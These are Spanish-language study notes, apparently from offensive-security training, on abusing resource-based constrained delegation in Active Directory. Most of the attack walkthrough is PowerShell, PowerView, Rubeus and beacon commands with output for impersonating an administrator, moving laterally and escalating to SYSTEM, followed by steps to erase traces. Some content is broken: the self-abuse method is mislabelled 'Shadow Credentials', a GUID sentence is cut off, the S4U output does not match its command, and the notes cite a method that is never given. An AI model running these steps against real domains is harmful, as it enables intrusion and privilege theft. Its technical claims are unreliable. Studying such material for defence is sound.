RBCD

JAJJASJAJAJAJAJA AHORA ME TOCA RBCD JAJAJAJJAJAJAJA QUIERO LLORAR

RBCD

RBCD invierte el modelo de confianza. En lugar de que el servicio front-end dicte a qué servicios back-end puede delegar, ahora es el servicio back-end el que controla qué servicios front-end pueden delegar en él.

Esto se gestiona a través de un nuevo atributo en la cuenta del servicio back-end: msDS-AllowedToActOnBehalfOfOtherIdentity. Este atributo contiene una lista de los principales (servicios front-end) que tienen permiso para suplantar a usuarios en este recurso.

La gran ventaja es que ya no se necesita SeEnableDelegationPrivilege. El único privilegio necesario es el acceso de escritura a este atributo específico, un permiso que se puede delegar fácilmente a los administradores de servicios a través del Asistente para Delegación de Control de Active Directory.

Un administrador con estos derechos puede configurar RBCD usando PowerShell:

# $front es el servicio que delegará (ej. [SERVIDOR_FRONT_1])
$front = Get-ADComputer -Identity '[SERVIDOR_FRONT_1]'
# $back es el recurso que recibe la delegación (ej. [SERVIDOR_BACK_1])
$back = Get-ADComputer -Identity '[SERVIDOR_BACK_1]'
# Se configura el objeto $back para permitir que $front delegue en él
Set-ADComputer -Identity $back -PrincipalsAllowedToDelegateToAccount $front

Escenarios de Abuso de RBCD

El abuso de RBCD es diferente. Comprometer el servicio front-end no compromete automáticamente el back-end. Sin embargo, esta flexibilidad introduce dos vectores de ataque principales: un abuso "clásico" para movimiento lateral y un abuso "avanzado" para escalada de privilegios locales, a veces llamado "Shadow Credentials".

1.Movimiento Lateral

Este es el escenario más común, donde un atacante que controla una máquina busca moverse lateralmente a otra.

Condiciones del Ataque:

• El atacante tiene permisos de escritura sobre el atributo msDS-AllowedToActOnBehalfOfOtherIdentity de un objeto de equipo de destino (el back-end, ej. [SERVIDOR_BACK_1]).

• El atacante tiene control sobre otro principal (una cuenta de usuario o de equipo) que tenga un SPN configurado (el front-end, ej. [ESTACION_TRABAJO_1]).

Paso 1: Encontrar Permisos

Primero, necesitamos el GUID del atributo. Según la documentación de Microsoft, el GUID para ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity .

Podemos usar PowerView para buscar en las ACLs de los equipos del dominio:

PS C:\> Import-Module C:\Tools\PowerSploit\Recon\PowerView.ps1
PS C:\> $Cred = Get-Credential [DOMINIO]\[USUARIO_EJEMPLO]
PS C:\> Get-DomainComputer -Server [IP_SERVIDOR] -Credential $Cred | Get-DomainObjectAcl -Server [IP_SERVIDOR] -Credential $Cred | ? { $_.ObjectAceType -eq '[GUID_EJEMPLO]' -and $_.ActiveDirectoryRights -Match 'WriteProperty' } | select ObjectDN,SecurityIdentifier

ObjectDN                                        SecurityIdentifier
--------                                        ------------------
CN=[SERVIDOR_BACK_1],OU=Member Servers,DC=[DOMINIO],DC=com [SID_EJEMPLO]

Esto nos dice que el SID [SID_EJEMPLO] (que podría ser un grupo como "Server Admins") tiene este permiso en [SERVIDOR_BACK_1]. Si nuestro usuario comprometido está en ese grupo, cumplimos la Condición #1.

Paso 2: Obtener un Principal con SPN

El atacante necesita controlar una cuenta "front-end" con un SPN. Las opciones incluyen:

• Usar una cuenta de equipo comprometida: Si el atacante tiene SYSTEM en [ESTACION_TRABAJO_1], puede usar [ESTACION_TRABAJO_1]$ (todas las cuentas de equipo tienen SPNs por defecto).

• Usar una cuenta de servicio comprometida: Obtenida vía Kerberoasting.

• Crear una nueva cuenta de equipo: Si msDS-MachineAccountQuota es > 0 (por defecto es 10), un usuario estándar puede añadir una máquina al dominio y usarla.

Paso 3: El Ataque (Configurar RBCD y Ejecutar S4U)

En nuestro escenario, controlamos [ESTACION_TRABAJO_1] y queremos atacar [SERVIDOR_BACK_1].

Primero, añadimos nuestro equipo controlado ($wkstn1) al atributo RBCD del objetivo ([SERVIDOR_BACK_1]):

PS C:\> $ws1 = Get-ADComputer -Identity '[SERVIDOR_FRONT_1]' -Server [IP_SERVIDOR] -Credential $Cred
PS C:\> $wkstn1 = Get-ADComputer -Identity '[ESTACION_TRABAJO_1]' -Server [IP_SERVIDOR] -Credential $Cred
# Añadimos $wkstn1 a la lista, preservando la entrada existente $ws1
PS C:\> Set-ADComputer -Identity '[SERVIDOR_BACK_1]' -PrincipalsAllowedToDelegateToAccount $ws1,$wkstn1 -Server [IP_SERVIDOR] -Credential $Cred

Segundo, desde [ESTACION_TRABAJO_1] (donde tenemos SYSTEM), volcamos el TGT de la cuenta de equipo:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
[*] Base64EncodedTicket   :      [TICKET_DATA_1]

Tercero, usamos Rubeus s4u para suplantar a un [USUARIO_ADMIN] hacia [SERVIDOR_BACK_1], usando el TGT de [ESTACION_TRABAJO_1]$:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:[ESTACION_TRABAJO_1]$ /impersonateuser:[USUARIO_ADMIN] /msdsspn:cifs/[SERVIDOR_BACK_1] /ticket:[TICKET_DATA_1] /nowrap

[*] Action: S4U
[*] Building S4U2self request for: '[ESTACION_TRABAJO_1]$@[DOMINIO.COM]'
[+] S4U2self success!
[*] Got a TGS for '[USUARIO_ADMIN]' to '[ESTACION_TRABAJO_1]$@[DOMINIO.COM]'
      [TICKET_DATA_2]
[*] Impersonating user '[USUARIO_ADMIN]' to target SPN 'cifs/[SERVIDOR_BACK_1]'
[*] Building S4U2proxy request for service: 'cifs/[SERVIDOR_BACK_1]'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/[SERVIDOR_BACK_1]':
      [TICKET_DATA_3]

Paso 4: Acceder al Objetivo

Hemos obtenido un ticket para cifs/[SERVIDOR_BACK_1] como [USUARIO_ADMIN]. Ahora lo usamos:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:[USUARIO_ADMIN] /password:FakePass /ticket:[TICKET_DATA_3]
[+] ProcessID       : 4568
[+] Ticket successfully imported!
beacon> steal_token 4568
beacon> ls \\[SERVIDOR_BACK_1]\c$
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     01/23/2025 15:44:52   $Recycle.Bin
...

2. Escalada "Shadow Credentials" / Auto-Abuso

Este segundo escenario, destacado por investigadores como Elad Shamir, es un vector de escalada de privilegios en lugar de movimiento lateral.

Condición del Ataque:

• El atacante tiene privilegios de escritura (GenericWrite, WriteProperty, etc.) sobre el propio objeto del equipo objetivo ([PC_VICTIMA]). Esto es común si el atacante ya ha comprometido la máquina como un usuario local con privilegios o ha encontrado una ACL mal configurada.

Lógica del Ataque:

Si el atacante tiene GenericWrite sobre [PC_VICTIMA], puede hacer dos cosas cruciales:

1. Modificar msDS-AllowedToActOnBehalfOfOtherIdentity: Puede añadir un principal de su elección a la lista de confianza.

2. Modificar msDS-ServicePrincipalName: Puede añadir un nuevo SPN al equipo.

El atacante combina esto para realizar un ataque de "auto-abuso".

Paso 1: Configurar el Auto-Abuso

El atacante usa sus permisos de escritura sobre [PC_VICTIMA] para configurarlo de modo que se confíe en sí mismo para la delegación.

# Obtener el objeto de la víctima
$victim = Get-ADComputer -Identity '[PC_VICTIMA]'
# Configurar [PC_VICTIMA] para que se permita a sí mismo delegar en él
Set-ADComputer -Identity $victim -PrincipalsAllowedToDelegateToAccount $victim

Paso 2: Obtener TGT y Elegir SPN de Destino

El atacante, asumiendo que ya tiene control de [PC_VICTIMA] (y por lo tanto puede obtener su TGT, por ejemplo, como SYSTEM), debe elegir un SPN al cual atacar.

# Volcar el TGT de [PC_VICTIMA]$ (como SYSTEM)
beacon> execute-assembly Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
[*] Base64EncodedTicket   :      [TICKET_DATA_4]

"Shadow SPN" (Ruidoso)

El atacante añade un SPN "falso" al objeto [PC_VICTIMA]. Esto es funcional pero ruidoso, ya que la modificación del atributo msDS-ServicePrincipalName suele ser monitoreada por soluciones de seguridad como Microsoft Defender for Identity.

# Añadir un SPN "falso" de HTTP
Set-ADComputer -Identity '[PC_VICTIMA]' -ServicePrincipalNames @{Add="http/[SUBDOMINIO_EJEMPLO].[DOMINIO.COM]"}

Paso 3: Ejecutar el Ataque S4U (hacia sí mismo)

El atacante ejecuta S4U, suplantando a un [USUARIO_ADMIN] hacia sí mismo, pero apuntando al SPN elegido.

beacon> execute-assembly Rubeus.exe s4u /user:[PC_VICTIMA]$ /impersonateuser:[USUARIO_ADMIN] /msdsspn:http/[SUBDOMINIO_EJEMPLO].[DOMINIO.COM] /ticket:[TICKET_DATA_4] /nowrap

Ambos comandos realizarán el flujo S4U2self + S4U2proxy y devolverán un ticket de servicio válido para el SPN de destino, pero a nombre de [USUARIO_ADMIN].

[*] Action: S4U
[*] Building S4U2self request for: '[PC_VICTIMA]$@[DOMINIO.COM]'
[+] S4U2self success!
[*] Impersonating user '[USUARIO_ADMIN]' to target SPN 'HOST/[PC_VICTIMA].[DOMINIO.COM]'
[*] Building S4U2proxy request for service: 'HOST/[PC_VICTIMA].[DOMINIO.COM]'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'HOST/[PC_VICTIMA].[DOMINIO.COM]':
      [TICKET_DATA_5]

Paso 4: Escalar Privilegios

El atacante ahora tiene un ticket de servicio como [USUARIO_ADMIN] para un servicio (HOST o http) que se ejecuta en [PC_VICTIMA]. Puede usar este ticket para autenticarse en la máquina y obtener control total. Por ejemplo, el servicio HOST está asociado con CIFS, por lo que pueden acceder a \\[PC_VICTIMA]\C$.

Esto convierte un simple permiso GenericWrite sobre un objeto de equipo en una escalada de privilegios completa a NT AUTHORITY\SYSTEM en esa máquina.

Limpieza

Un buen atacante limpia sus huellas. En el escenario clásico, eliminarían su principal de la lista RBCD:

PS C:\> Set-ADComputer -Identity '[SERVIDOR_BACK_1]' -PrincipalsAllowedToDelegateToAccount $ws1 -Server [IP_SERVIDOR] -Credential $Cred

En el escenario de "Shadow Credentials", revertirían la auto-confianza y eliminarían el SPN falso (si usaron el Método A).